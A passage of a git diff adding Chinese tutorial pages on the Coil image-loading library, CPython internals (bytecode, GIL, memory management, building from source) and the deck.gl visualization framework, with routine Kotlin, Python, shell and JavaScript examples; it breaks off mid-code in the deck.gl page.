用自然语言问架构;进阶可接 `affected` 做 CI 测试裁剪,或用 TypeScript API 嵌入自有工具链。记住一句话:**让代理查地图,而不是在文件海里敲门问路。** diff --git a/src/content/docs/projects/coil.md b/src/content/docs/projects/coil.md new file mode 100644 index 000000000..4d0310c49 --- /dev/null +++ b/src/content/docs/projects/coil.md @@ -0,0 +1,232 @@ +--- +title: Coil — Kotlin 协程驱动的 Android / Compose 图片加载库 +来源: 'https://github.com/coil-kt/coil' +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +Coil(**Co**routine **I**mage **L**oader)是面向 Android 与 Compose Multiplatform 的现代图片加载库,用 Kotlin 协程把「从网络/磁盘取图 → 解码 → 缓存 → 显示」整条链路串起来。 + +日常类比:Coil 像一家**连锁照相馆冲印店**。你把照片底片(URL、本地路径、`Uri`)交给前台(`ImageRequest`),店里统一的流水线(`ImageLoader`)负责:先查柜台抽屉里有没有洗好的小照(内存缓存),没有再翻仓库档案(磁盘缓存),还没有就派人去原厂取底片(网络 Fetcher),按相框尺寸裁剪冲印(下采样解码),最后装进相框(`ImageView` / `AsyncImage`)。你不需要自己管暗房、药水配比和排队——一句 `load(url)` 或 `AsyncImage(model = url)` 就行。 + +2019 年由 Colin White 等人开源,GitHub 上 1.1 万+ star。3.x 起成为 **Kotlin Multiplatform** 库,除 Android 外还支持 iOS、JVM、JS、WASM;Android 侧与 Jetpack Compose、OkHttp、Ktor 生态深度集成。Maven 坐标形如 `io.coil-kt.coil3:coil-compose:3.5.0`。 + +## 为什么重要 + +不理解 Coil,下面这些事都没法说清楚: + +- 为什么 Compose 里加载网络图只要一个 `AsyncImage`,却不用手写 `BitmapFactory` + `HttpURLConnection` +- 为什么列表快速滑动时图片不会乱加载、乱闪烁——请求会随生命周期自动取消,且按目标尺寸下采样 +- 为什么 Glide / Picasso 之外又多了一个「Kotlin 首选」方案——协程一等公民、依赖轻、API 更贴近现代 Android +- 为什么 Coil 3 能在 Compose Multiplatform 项目里共用一套图片 API + +## 核心概念 + +Coil 的运转可以拆成 **六块**: + +1. **ImageRequest(订单)**:描述「要加载什么、怎么加载」。`data` 可以是 URL 字符串、`Uri`、`File`、`@DrawableRes Int`、`ByteArray` 等;还可配置占位图、错误图、变换(圆角、裁剪)、过渡动画、内存/磁盘缓存策略。类比:冲印单上的规格备注。 + +2. **ImageLoader(流水线车间)**:执行 `ImageRequest` 的服务对象,负责调度整条管道。官方强烈建议**全应用共用一个** `ImageLoader`——每个实例自带独立的内存缓存、磁盘缓存和网络客户端,多实例会浪费内存且缓存不共享。默认提供全局单例,也可自行 `ImageLoader.Builder` 构建。 + +3. **图片管道五段式(Pipeline)**:请求依次经过 **Interceptor → Mapper → Keyer → Fetcher → Decoder**。 + - **Interceptor**:拦截、改写、短路或重试(类似 OkHttp Interceptor) + - **Mapper**:把自定义数据类型映射成可抓取的形式(如 `data class Avatar(val userId: String)` → URL) + - **Keyer**:生成内存缓存键 + - **Fetcher**:真正取原始字节(网络 OkHttp/Ktor、本地文件、ContentProvider…) + - **Decoder**:解码成 `Image`(Bitmap / Drawable / SVG / GIF 帧等) + +4. **双层缓存**:**MemoryCache** 存最近解码的位图,按可用内存百分比限额;**DiskCache** 存网络图原始字节,默认在 `cacheDir/image_cache`。命中缓存时跳过网络,列表回滚时几乎瞬时显示。 + +5. **Compose 与 View 两套入口**: + - Compose:`AsyncImage`、`SubcomposeAsyncImage`、`rememberAsyncImagePainter` + - 传统 View:`ImageView.load(url)` 扩展函数 + `AsyncImage` 会根据 Composable 约束自动计算加载尺寸(下采样),是日常首选。 + +6. **Coil 3 的 `Image` 抽象**:跨平台用 `coil3.Image` 替代 Android `Drawable`;在 Android 上可与 `Drawable`、`Bitmap`、`Painter` 互转。网络层可选 **OkHttp**(Android 常见)或 **Ktor**(Compose Multiplatform 常见)。 + +## 依赖与最小配置 + +Gradle(Kotlin DSL)——纯 Android + Compose: + +```kotlin +dependencies { + implementation("io.coil-kt.coil3:coil-compose:3.5.0") + implementation("io.coil-kt.coil3:coil-network-okhttp:3.5.0") + // 可选:GIF / SVG + // implementation("io.coil-kt.coil3:coil-gif:3.5.0") + // implementation("io.coil-kt.coil3:coil-svg:3.5.0") +} +``` + +AndroidManifest 需要网络权限(若加载 https 图): + +```xml + +``` + +## 实践案例 + +### 案例 1:Compose 中最常见的 `AsyncImage` + +一行 URL 即可显示网络图;需要圆角、占位、淡入时改用 `ImageRequest`: + +```kotlin +@Composable +fun Avatar(url: String, modifier: Modifier = Modifier) { + AsyncImage( + model = ImageRequest.Builder(LocalContext.current) + .data(url) + .crossfade(true) + .build(), + contentDescription = "用户头像", + placeholder = painterResource(R.drawable.placeholder_avatar), + error = painterResource(R.drawable.error_avatar), + contentScale = ContentScale.Crop, + modifier = modifier + .size(48.dp) + .clip(CircleShape), + ) +} +``` + +`model` 既可以直接传字符串 URL,也可以传完整 `ImageRequest`。`AsyncImage` 会读取 Composable 的宽高约束,只解码所需分辨率,避免把 4000×3000 原图塞进 48dp 小头像。 + +### 案例 2:LazyVerticalGrid 图片墙(Mars 照片墙模式) + +列表场景是 Coil 的主场:滚动出屏的请求自动取消,回滚时走缓存: + +```kotlin +@Composable +fun PhotoGrid(photos: List, modifier: Modifier = Modifier) { + LazyVerticalGrid( + columns = GridCells.Adaptive(minSize = 128.dp), + modifier = modifier, + contentPadding = PaddingValues(4.dp), + ) { + items(photos, key = { it.id }) { photo -> + AsyncImage( + model = photo.imageUrl, + contentDescription = photo.title, + contentScale = ContentScale.Crop, + modifier = Modifier + .padding(4.dp) + .aspectRatio(1f) + .clip(RoundedCornerShape(8.dp)), + ) + } + } +} +``` + +若要在加载中显示转圈、失败显示重试按钮,可用 `SubcomposeAsyncImage` 的 `loading` / `error` 插槽——注意子组合(subcomposition)比 `AsyncImage` 慢,**性能敏感的 `LazyList` 里优先 `AsyncImage` + 占位图**。 + +### 案例 3:传统 `ImageView` 与自定义 `ImageLoader` + +未迁移 Compose 的模块,或需要细粒度控制时: + +```kotlin +// 简单用法 +imageView.load("https://example.com/banner.jpg") { + crossfade(true) + placeholder(R.drawable.placeholder) + transformations(CircleCropTransformation()) +} + +// Application 里配置全局单例(Android 推荐) +class MyApp : Application(), SingletonImageLoader.Factory { + override fun newImageLoader(context: Context): ImageLoader { + return ImageLoader.Builder(context) + .crossfade(true) + .memoryCache { + MemoryCache.Builder() + .maxSizePercent(context, 0.25) + .build() + } + .diskCache { + DiskCache.Builder() + .directory(context.cacheDir.resolve("image_cache")) + .maxSizePercent(0.02) + .build() + } + .build() + } +} +``` + +Compose Multiplatform 入口则在根 `@Composable` 调用 `setSingletonImageLoaderFactory { ... }`,网络层换 `coil-network-ktor3` 而非 OkHttp。 + +### 案例 4:用 Mapper 支持业务模型 + +不必在 UI 层拼 URL,把映射逻辑注册进 `ImageLoader`: + +```kotlin +data class UserAvatar(val userId: String, val size: Int = 200) + +class UserAvatarMapper : Mapper { + override fun map(data: UserAvatar, options: Options): String? { + return "https://cdn.example.com/avatars/${data.userId}?s=${data.size}" + } +} + +val imageLoader = ImageLoader.Builder(context) + .components { + add(UserAvatarMapper()) + } + .build() + +// UI 层 +AsyncImage( + model = UserAvatar(userId = "u_42"), + contentDescription = null, + imageLoader = imageLoader, +) +``` + +## Compose API 怎么选 + +| API | 适用场景 | 注意 | +|-----|----------|------| +| `AsyncImage` | 绝大多数显示网络/本地图 | 自动算尺寸,首选 | +| `rememberAsyncImagePainter` | 需要 `Painter`、自定义绘制 | 默认按原图尺寸加载,需配 `SizeResolver` | +| `SubcomposeAsyncImage` | 按加载状态切换不同 Composable | 子组合有性能成本,慎用于长列表 | + +## 与 Glide / Picasso 的对比(选型速览) + +| 维度 | Coil | Glide | Picasso | +|------|------|-------|---------| +| 语言 | Kotlin 优先,KMP | Java/Kotlin,Android 为主 | Java,Android 为主 | +| 异步模型 | 协程 `suspend` | 线程池 + 回调 | 线程池 + 回调 | +| Compose | 一等支持 `AsyncImage` | 需额外集成 | 无官方 Compose API | +| 依赖体积 | 轻(Kotlin + Coroutines + Okio) | 较大,功能全 | 很小但功能少 | +| 典型场景 | 新 Kotlin/Compose 项目、KMP | 复杂图像策略、超大图库 | 老项目极简加载 | + +没有绝对「最好」,只有「与栈是否同频」。新 Compose 项目默认优先考虑 Coil;已有大量 Glide 定制(自定义 `ModelLoader`、复杂 `Transformation`)的存量 App 迁移要算成本。 + +## 常见问题 + +**Q:列表里图片错位/闪烁?** +给 `LazyList` / `LazyGrid` 的 `items` 传稳定 `key`;`model` 变化时 Coil 会重新请求。检查是否在 `Row` 里复用了错误的 `remember` 状态。 + +**Q:HTTPS 图加载失败?** +确认 `INTERNET` 权限、Cleartext 限制(HTTP 需 `networkSecurityConfig`)、以及图片 URL 是否 404。 + +**Q:库模块里能设置单例 `ImageLoader` 吗?** +**不要。** 库应依赖 `coil-core`,自建 `ImageLoader` 并由调用方注入,否则会覆盖宿主 App 的配置。 + +**Q:Android Studio Preview 里网络图不显示?** +预览环境禁止网络。用 `LocalAsyncImagePreviewHandler` 返回占位 `ColorImage`,或预览本地 `drawable`。 + +## 延伸学习 + +- 官方文档:[Getting Started](https://coil-kt.github.io/coil/getting_started/)、[Compose](https://coil-kt.github.io/coil/compose/)、[Image Pipeline](https://coil-kt.github.io/coil/image_pipeline/) +- Android 官方 Codelab:[Load and display images from the internet](https://developer.android.com/codelabs/basic-android-kotlin-compose-load-images) +- 升级指南:[Upgrading to Coil 3.x](https://coil-kt.github.io/coil/upgrading_to_coil3/)(`Coil` 类重命名为 `SingletonImageLoader`、`Drawable` → `Image` 等破坏性变更) + +## 小结 + +Coil 把 Android 图片加载从「手工管理线程 + Bitmap 生命周期」收敛成**声明式请求 + 协程管道 + 双层缓存**。记住三个抓手就够用:`ImageRequest` 描述加载什么,`ImageLoader` 执行管道,`AsyncImage` / `ImageView.load` 负责显示。新项目从 `coil-compose` + `coil-network-okhttp` 起步,列表用 `AsyncImage` 配稳定 `key`,全应用共享一个 `ImageLoader`——其余优化(磁盘比例、自定义 Fetcher、GIF/SVG 解码器)按流量与格式再叠。 diff --git a/src/content/docs/projects/cpython.md b/src/content/docs/projects/cpython.md new file mode 100644 index 000000000..c185917f4 --- /dev/null +++ b/src/content/docs/projects/cpython.md @@ -0,0 +1,325 @@ +--- +title: CPython — Python 官方实现 +来源: https://github.com/python/cpython +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**CPython** 是 [Python 语言规范](https://docs.python.org/3/reference/) 的**官方参考实现**,由 Python 核心开发团队在 [python/cpython](https://github.com/python/cpython) 仓库维护,主体用 **C 语言** 写成。你在官网下载的 `python3`、macOS 自带的 Python、大多数 Linux 发行版里的 `python3`、以及 PyPI 上无数库的默认运行环境,几乎都是 CPython。 + +日常类比:如果把 **Python 语言** 看成一本全国通用的《菜谱大全》,CPython 就是政府开源的那家**中央厨房**—— + +- **词法分析器 / 解析器** 像审稿编辑:把你的 `.py` 稿子拆成词语(token),再排成语法树(AST); +- **编译器** 像配菜间:把 AST 翻译成厨房内部指令单(**字节码 bytecode**),并缓存成 `__pycache__/*.pyc`; +- **字节码解释器(eval loop)** 像流水线厨师:按指令单一步步操作,本质是**栈式虚拟机**; +- **`PyObject` 与引用计数** 像每道菜上的标签和扫码枪:每个对象都有类型牌和「被引用几次」,归零就回收; +- **GIL(全局解释器锁)** 像厨房里**只允许一把火**的规则:同一时刻只有一个线程在执行 Python 字节码,简化内存安全,但限制 CPU 密集型多线程并行; +- **标准库 `Lib/`** 像配套餐具和预制酱料:`os`、`json`、`asyncio` 等随厨房一起发货。 + +你写的 Django、PyTorch 脚本、`pip install` 装的第三方包,在默认环境下最终都由 **CPython 解释器 + 标准库 + C 扩展** 执行。其他实现(PyPy、Jython、GraalPy、MicroPython)能跑很多相同代码,但**语言特性的「标准答案」仍以 CPython 为准**。 + +## 为什么重要 + +不懂 CPython,下面这些现象很难讲透: + +- **为什么 `import` 第二次更快**——`__pycache__` 里缓存了 marshal 序列化的字节码,跳过解析与编译 +- **为什么多线程跑 CPU 密集任务几乎不加速**——**GIL** 让同一解释器内只有一个线程执行 Python 字节码 +- **为什么 `multiprocessing` 能利用多核而 `threading` 常常不能**——多进程各有独立解释器与 GIL;多线程共享一个 GIL +- **为什么 `dis.dis()` 看到的指令和源码对不上**——编译器会做 peephole 优化、常量折叠,且 3.11+ 有**自适应特化解释器** +- **为什么 C 扩展写错了会 segfault**——扩展与解释器共享地址空间,绕过 Python 层的异常安全网 +- **为什么 Python 3.13 有「无 GIL」实验构建**——`--disable-gil` 自由线程模式正在探索,但生态与 ABI 仍在演进 + +## 核心概念 + +### 1. Python 语言 vs CPython 实现 + +| 概念 | 含义 | +|------|------| +| **Python 语言** | 语法、语义规范(`docs.python.org` 的 Language Reference) | +| **CPython** | 用 C 写的解释器 + 标准库 + 构建系统,规范的**参考实现** | +| **PyPy** | 带 JIT 的替代实现,通常 CPU 密集更快,兼容性略差 | +| **MicroPython** | 面向 MCU 的裁剪实现 | + +说「Python 慢」「Python 有 GIL」时,几乎总是在说 **CPython 的实现选择**,不是语言规范强制如此。 + +### 2. 源码树布局 + +``` +cpython/ +├── Python/ # 解释器核心:ceval.c(字节码循环)、compile.c、import 等 +├── Objects/ # 内置类型:int、str、list、dict 的 C 实现 +├── Modules/ # 标准库 C 扩展:_socket、_json、posix… +├── Lib/ # 纯 Python 标准库:asyncio、http、unittest… +├── Include/ # C API 头文件:Python.h +├── Parser/ # 词法、语法分析(PEG 解析器,3.9+) +└── Programs/ # python 可执行文件入口 +``` + +执行热点路径:**`Python/ceval.c`** 里的 `_PyEval_EvalFrameDefault`——一个巨大的 opcode 分派循环(switch 或 computed goto)。 + +### 3. 从 `.py` 到执行的流水线 + +官方文档与 `InternalDocs/compiler.md` 描述的编译链: + +``` +源码 (.py) + ▼ Tokenize Parser/tokenizer + ▼ Parse Parser/ → AST + ▼ Symtable 符号表、作用域分析 + ▼ Compile Python/compile.c → 伪指令 + ▼ CFG + 优化 Python/flowgraph.c(peephole 等) + ▼ Assemble Python/assemble.c → 字节码 + ▼ Code object types.CodeType(co_code, co_consts, co_varnames…) + ▼ Eval loop Python/ceval.c 栈式虚拟机执行 +``` + +导入模块时,若 `.pyc` 时间戳/哈希与 `.py` 一致,可直接 **marshal 加载** 字节码,跳过前端编译。 + +### 4. 字节码与栈式虚拟机 + +CPython 字节码是 **16 位 code unit**:低 8 位 `opcode`,高 8 位 `oparg`。解释器是**栈机**——`LOAD_CONST`、`BINARY_ADD` 等指令操作**求值栈(evaluation stack)**,栈深度由编译器算出,存在 `co_stacksize`。 + +每个函数调用对应一帧 **`_PyInterpreterFrame`**(3.11+ 更轻量,常分配在线程栈上),保存指令指针、局部变量、栈指针、全局/ builtins 命名空间等。 + +### 5. `PyObject`:一切皆对象 + +在 C 层,所有 Python 值都是 `PyObject*`。典型布局: + +- **`ob_refcnt`**:引用计数 +- **`ob_type`**:指向 `PyTypeObject`(类型对象,类似 vtable) +- 类型专有数据(如 `PyLongObject` 的数值、`PyListObject` 的元素数组) + +小整数 **-5~256** 有全局缓存;短字符串会 **intern**。`id(x)` 在 CPython 里通常是对象地址(实现细节,勿依赖可移植语义)。 + +### 6. 内存管理:引用计数 + 循环垃圾回收 + +- **主路径**:`Py_INCREF` / `Py_DECREF`,计数为 0 立即调用类型的 `tp_dealloc` +- **循环引用**:仅靠引用计数无法回收 `a ↔ b`,因此有 **`gc` 模块**的分代循环检测(mark-sweep,三代) +- **pymalloc**:小对象(≤512B)从专用 arena/pool 分配,减轻 `malloc` 压力 + +### 7. GIL(Global Interpreter Lock) + +GIL 是一把互斥锁,保证**同一解释器进程中**只有一个线程执行 Python 字节码。原因包括:引用计数与多数内置结构**非线程安全**,用一把锁比给每个对象加锁更简单,且历史上保护了单线程性能。 + +| 场景 | 表现 | +|------|------| +| **I/O 阻塞**(网络、磁盘) | 等待 I/O 时会释放 GIL,多线程仍有用 | +| **CPU 密集纯 Python** | 多线程几乎无法并行,用 `multiprocessing` 或 C 扩展释放 GIL | +| **NumPy 等 C 扩展** | 计算时在 C 层 `Py_BEGIN_ALLOW_THREADS` 释放 GIL | + +`sys.getswitchinterval()` 控制线程切换间隔(默认约 5ms 量级)。Python 3.13 **实验性 free-threaded** 构建尝试用每对象锁 + 偏置引用计数去掉 GIL,尚非默认生产路径。 + +### 8. C API 与扩展模块 + +用 C/C++/Rust(PyO3)写的模块在运行时与解释器**同进程加载**,直接操作 `PyObject*`。好处是性能与系统调用;代价是**崩溃即整个进程完蛋**,且须跟随 CPython 版本维护 ABI(稳定 ABI `limited API` 可缓解)。 + +### 9. 运行时层级(3.12+ 文档化模型) + +`Doc/reference/executionmodel.rst` 把运行时分为: + +``` +进程 + └── Python 全局运行时状态 + └── 解释器(Interpreter)── sys.modules 等 + └── 线程状态(Thread state)── 异常、调用栈 + └── 字节码解释器循环(eval loop) +``` + +`concurrent.interpreters`(3.12+)可在同进程创建**多个子解释器**,各自有独立 GIL(3.12 per-interpreter GIL),是「多核友好」探索方向之一。 + +## 从源码到运行(零基础走读) + +```python +def greet(name: str) -> str: + return f"Hello, {name}" +``` + +1. **`python script.py`** → `Programs/python.c` 启动,初始化解释器与 `__main__` 模块 +2. **读取源码** → tokenize → PEG parser → AST +3. **`compile()`** → 字节码 + `code object`;写入 `__pycache__/script.cpython-312.pyc`(若可写) +4. **`PyEval_EvalCode`** → 创建 frame,`_PyEval_EvalFrameDefault` 执行 opcode +5. **`f"..."`** 在编译期可能生成 `BUILD_STRING` 等指令;运行时在栈上拼接 `str` +6. 临时对象引用计数增减;无循环则立即回收,有循环则等待 `gc` 收集 + +## 代码示例 + +### 示例 1:用 `dis` 阅读字节码 + +理解 CPython 在干什么的最快方式之一,是直接看编译产物: + +```python +import dis + +def add_tax(price: float, rate: float) -> float: + total = price * (1.0 + rate) + return round(total, 2) + +print("=== add_tax 字节码 ===") +dis.dis(add_tax) + +code = add_tax.__code__ +print("\nco_consts:", code.co_consts) +print("co_varnames:", code.co_varnames) +print("co_stacksize:", code.co_stacksize) +``` + +典型输出会包含 `LOAD_FAST`、`LOAD_CONST`、`BINARY_OP`、`CALL`、`RETURN_VALUE` 等。Python 3.11+ 还会出现**自适应特化**相关 opcode(如 `BINARY_OP_ADAPTIVE`),解释器根据运行时类型反馈把通用指令**特化成快速路径**。 + +配合命令行: + +```bash +python -m dis your_module.py +# 或 +python -O -m dis your_module.py # -O 去掉 assert 等 +``` + +### 示例 2:观察 import 缓存与 `marshal` + +第二次 `import` 更快,是因为 `.pyc` 跳过了编译前端: + +```python +import importlib.util +import marshal +import dis +import pathlib +import time +import sys +import tempfile + +snippet = ''' +def work(): + s = 0 + for i in range(100_000): + s += i + return s +''' + +tmp = pathlib.Path(tempfile.mkdtemp()) +src = tmp / "demo_mod.py" +src.write_text(snippet, encoding="utf-8") + +spec = importlib.util.spec_from_file_location("demo_mod", src) +mod = importlib.util.module_from_spec(spec) + +t0 = time.perf_counter() +spec.loader.exec_module(mod) +cold = time.perf_counter() - t0 + +# 触发写入 __pycache__ +importlib.invalidate_caches() +pyc = next(tmp.joinpath("__pycache__").glob("demo_mod*.pyc")) + +t1 = time.perf_counter() +with open(pyc, "rb") as f: + f.read(16) # skip pyc header (magic + flags + timestamp/hash) + code_obj = marshal.load(f) +warm = time.perf_counter() - t1 + +print(f"冷启动 exec_module: {cold*1000:.2f} ms") +print(f"marshal 加载 code: {warm*1000:.2f} ms") +print(f"pyc 路径: {pyc}") +dis.dis(code_obj) +``` + +你会看到:**marshal 只恢复 `code object`**,仍由 eval loop 执行;但解析与编译成本在重复导入时被省掉。删除 `__pycache__` 或修改 `.py` 后哈希不匹配,CPython 会重新编译。 + +### 示例 3:GIL 与 `sys.setswitchinterval`(现象演示) + +下面用纯 Python CPU 循环对比线程数(结果因机器而异,但趋势稳定): + +```python +import sys +import time +from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor + +def cpu_chunk(n: int) -> int: + s = 0 + for i in range(n): + s += i * i + return s + +N = 4 +CHUNK = 2_000_000 + +def bench(label: str, fn) -> None: + t0 = time.perf_counter() + fn() + print(f"{label}: {time.perf_counter() - t0:.2f}s") + +def serial(): + for _ in range(N): + cpu_chunk(CHUNK) + +def threaded(): + with ThreadPoolExecutor(max_workers=N) as ex: + list(ex.map(cpu_chunk, [CHUNK] * N)) + +def multiprocess(): + with ProcessPoolExecutor(max_workers=N) as ex: + list(ex.map(cpu_chunk, [CHUNK] * N)) + +if __name__ == "__main__": + print("switch interval:", sys.getswitchinterval()) + bench("serial", serial) + bench("threads (GIL)", threaded) + bench("processes", multiprocess) +``` + +在 CPython 上,**`threaded` 往往接近 `serial`**,而 **`multiprocess` 可接近线性加速**——这就是 GIL 对 CPU 密集 Python 代码的经典影响。I/O 密集任务请不要照搬此结论,应使用 `asyncio` 或多线程阻塞 I/O。 + +## 构建与参与(开发者向) + +从源码构建 CPython(Unix /macOS 典型流程): + +```bash +git clone https://github.com/python/cpython.git +cd cpython + +# macOS 通常已有 clang;Linux 需 build-essential +./configure --enable-optimizations # PGO,构建更慢,运行更快 +make -j$(nproc 2>/dev/null || sysctl -n hw.ncpu) + +./python -c "import sys; print(sys.version)" +./python -m test -j4 # 运行回归测试(耗时) +``` + +参与途径: + +- **PEP**(Python Enhancement Proposal):新语法与/stdlib 改动的设计文档 +- **GitHub Issues / PR**:[devguide.python.org](https://devguide.python.org/) 描述贡献流程 +- **InternalDocs/**:源码树内维护的解释器、编译器内部文档 + +## 与周边生态的关系 + +| 项目 | 关系 | +|------|------| +| **PyPI** | 包索引;轮子(wheel)常含 CPython 版本的 C 扩展 `.so` | +| **pip** | 纯 Python 工具,在 CPython 上安装依赖 | +| **PyPy** | 替代实现,兼容大部分 CPython 语义,JIT 更快 | +| **Cython / pybind11 / Rust PyO3** | 生成或编写 CPython C API 扩展 | +| **[[openjdk]]** | 同为「语言规范 + 参考 VM」模式;对比可理解字节码、GC、GIL vs JVM 线程模型 | +| **[[v8]]** | JS 引擎;同样有分层 JIT,但 CPython 长期以解释器为主(3.11+ 特化加速) | + +## 常见误区 + +1. **「Python 等于 CPython」**——语言是规范;MicroPython、PyPy 也是 Python,但行为细节可能不同 +2. **「多线程永远没用」**——I/O 等待会释放 GIL;`threading` 仍适合阻塞 I/O 与 GUI 回调 +3. **`.pyc` 是机器码」**——仍是字节码,需解释器执行;不是 CPU 直接跑的 native code +4. **`del x` 立刻 free 内存」**——`del` 减少引用;回收时机取决于引用计数与 `gc` +5. **「去掉 GIL 就自动快 N 倍」**——free-threaded 有锁与缓存竞争成本;需基准测试与实际版本验证 + +## 学习路径建议 + +1. **会用**:安装 Python 3.12+,熟悉 `venv`、`pip`、`python -m` +2. **会读**:`dis.dis`、`inspect.getsource`、`-X importtime` 看导入耗时 +3. **会调**:`cProfile`、`tracemalloc`、`py-spy` 采样;理解 GIL 与 I/O +4. **会挖**:读 `Objects/listobject.c`、`Python/ceval.c` 片段;配合 Anthony Shaw《CPython Internals》 +5. **会跟**:每年看 [What's New in Python](https://docs.python.org/3/whatsnew/) 与 3.11 特化解释器、3.13 free-threading 进展 + +## 小结 + +CPython 是 Python 生态的**默认运行时**:把你的源码经词法/语法分析、编译成字节码,再在**栈式虚拟机**里执行,用**引用计数 + 循环 GC** 管理对象,用 **GIL** 协调多线程。零基础记住一条链:**`.py` → AST → bytecode → `code object` → eval loop → `PyObject*`**。往上是 NumPy、Django、PyTorch;往下是 C API、解释器优化与 PEP 演进。把 CPython 当成「自带菜谱库、默认单灶火力的中央厨房」,学习曲线就会清晰很多。 diff --git a/src/content/docs/projects/deck-gl.md b/src/content/docs/projects/deck-gl.md new file mode 100644 index 000000000..957ba41bc --- /dev/null +++ b/src/content/docs/projects/deck-gl.md @@ -0,0 +1,288 @@ +--- +title: deck.gl — Uber 大规模数据可视化 +来源: 'https://github.com/visgl/deck.gl' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 中级 +--- + +## 是什么 + +deck.gl 是 Uber 开源、现由 vis.gl / OpenJS Foundation 维护的 **WebGL2/WebGPU 大数据可视化框架**。日常类比:[[d3]] / [[recharts]] 像在小画板上用马克笔逐笔描点——几千个点还行,百万点就卡;deck.gl 则像**投影灯把整面墙当画布**:你把数据表交给它,GPU 一次性 instancing 画出百万散点、十万多边形或 3D 建筑,还能叠在 Mapbox / MapLibre / Google Maps 底图上。 + +它把可视化拆成三层直觉: + +- **data**:通常是 JSON 对象数组,或 loaders.gl 的二进制列式格式(百万行也吃得下) +- **layers**:ScatterplotLayer、PathLayer、HexagonLayer 等「图层乐高」 +- **views**:地图视角、正交小窗、第一人称等观察方式 + +底层渲染走 [[luma-gl]],地理投影走 math.gl,文件解析走 loaders.gl——整条 vis.gl 栈为「地理 + 海量点」而生。kepler.gl、streetscape.gl 都是搭在它上面的产品级 UI。 + +## 为什么重要 + +不理解 deck.gl,下面几件事很难讲清楚: + +- 为什么 Uber 要把「千万 GPS 轨迹点 + 实时车辆」画在浏览器里,而不是导出到 QGIS 或桌面 GIS +- 为什么同样 100 万点,SVG([[visx]] / [[observable-plot]])会卡死,deck.gl 仍能保持 60fps——instancing + GPU buffer + 按需更新 +- 为什么 Mapbox / MapLibre 文档里总提「custom layer」或 overlay——deck.gl 就是最常见的 overlay 方案之一 +- 为什么 v9 开始强调 WebGPU:同一套 Layer API,底层从 WebGL2 平滑迁移到 WebGPU,应用层几乎不用改 + +## 核心概念 + +1. **Layer(图层)** + 一个 Layer 实例 = 一种几何 + 一套 accessor。`id` 唯一;`data` 是数据源;`get*` 开头的 prop 是 accessor,把每一行数据映射成位置、颜色、半径等。Layer **不可变**:改 props 就 `new` 一个同 id 的新实例,deck.gl 做 diff 只重算变化部分。 + +2. **Deck / DeckGL** + `Deck`(纯 JS)或 React 的 `DeckGL` 接收 `layers[]` 和 `viewState`,在透明 canvas 上渲染。可 standalone(无地图),也可与底图 interleave / overlay。 + +3. **ViewState 与 Controller** + `longitude` / `latitude` / `zoom` / `pitch` / `bearing` 描述相机;`controller: true` 启用拖拽缩放。React 里把 viewState 放进 state,交互回调里 `setViewState` 即可。 + +4. **Accessor 三种写法** + - 常量:`getRadius: 100` + - 字段名:`getFillColor: 'color'`(等价于 `d => d.color`) + - 函数:`getPosition: d => [d.lng, d.lat, d.alt ?? 0]` + 地理坐标默认 `[lng, lat]` 或 `[lng, lat, altitude]`,deck.gl 内部做 Web Mercator 投影。 + +5. **二进制 data(高性能路径)** + v7+ 起 `data` 可以是 `{ length, attributes: { getPosition: { value, size } } }` 这种列式结构,避免百万个 JS 对象的开销。loaders.gl 读 Arrow / Parquet / GeoJSON 后常直接喂这种格式。 + +6. **Picking 与交互** + `onClick` / `onHover` 回调里 `info.object` 指向被点的数据行;`pickable: true` 开启 GPU picking。大屏 BI、轨迹探索都靠这条链路。 + +7. **模块分包** + `@deck.gl/core`(渲染管线)、`@deck.gl/layers`(基础图层)、`@deck.gl/aggregation-layers`(Hexagon / Grid / Heatmap)、`@deck.gl/geo-layers`(Tile3D、MVT、Terrain)、`@deck.gl/react`、`@deck.gl/mapbox`(Mapbox GL 专用 glue)。按需安装,生产环境靠 tree-shaking 瘦身。 + +8. **GPU Instancing(百万点不卡的核心)** + 传统 WebGL 每个点画一次 draw call;deck.gl 把「同一种几何」(圆、线、多边形)做成一份 GPU buffer,用 **instancing** 一次 draw 复制百万份,只在 shader 里读每行的 accessor 结果做偏移/着色。Uber 2016 开源博客把这条路线讲得很直白:Layer 栈里每一层都是「同一类图元的批量副本」,所以轨迹 + 建筑 + 热力可以同时叠在一张透视地图上。 + +9. **底图集成的三种模式**(与 Mapbox / MapLibre 联用时必知) + + | 模式 | 谁当根组件 | 适用场景 | + |------|------------|----------| + | **interleaved** | `@deck.gl/mapbox` 的 `MapboxOverlay`,图层画进 Mapbox 的 WebGL2 上下文 | 需要与 Mapbox 文字标注正确遮挡、3D 建筑物前后关系 | + | **overlaid** | 同上,但 deck 在 Mapbox controls 容器里单独 canvas | 要用 Mapbox 原生控件/插件,又不需要深度 interleave | + | **reverse-controlled** | `DeckGL` 为根,`Map` 作 child(react-map-gl 常见写法) | React 栈最省事;viewport 由 deck 驱动,底图跟随 | + + 零基础建议:React 项目先用 **reverse-controlled**(下文案例 2);只有 label 被点盖住时,再切 `@deck.gl/mapbox` interleaved。 + +## 与 d3 / ECharts / Three.js 怎么选 + +| 维度 | deck.gl | d3 / visx | ECharts | Three.js | +|------|---------|-----------|---------|----------| +| 渲染 | WebGL2/WebGPU | 多数 SVG | Canvas | WebGL 场景图 | +| 数据规模 | 10⁵–10⁷ 点 | ~10⁴ | ~10⁵(看图表类型) | 看优化 | +| 地理 | 一等公民 | 需 d3-geo 手拼 | geo 组件 | 需自研 | +| 心智 | 声明式图层栈 | 数据绑定 + DOM/SVG | 配置项 JSON | 3D 场景 | +| 典型场景 | 轨迹、热力、3D _TILE | 定制信息图 | 仪表盘 | 游戏 / 数字孪生 3D | + +**经验法则**:带地图的海量点 / 路径 / 3D tiles → deck.gl;印刷级定制小图 → d3;常规 BI 折柱饼 → ECharts;要完整 3D 角色场景 → Three.js。 + +## 实践案例 + +### 案例 1:纯 JS 散点图(Standalone) + +不依赖 React,也不强制底图——最小可运行骨架: + +```js +import {Deck} from '@deck.gl/core'; +import {ScatterplotLayer} from '@deck.gl/layers'; + +const DATA = Array.from({length: 5000}, (_, i) => ({ + position: [ + -122.4 + Math.random() * 0.2, + 37.75 + Math.random() * 0.15 + ], + radius: Math.random() * 50 + 10, + color: [255 * Math.random(), 80, 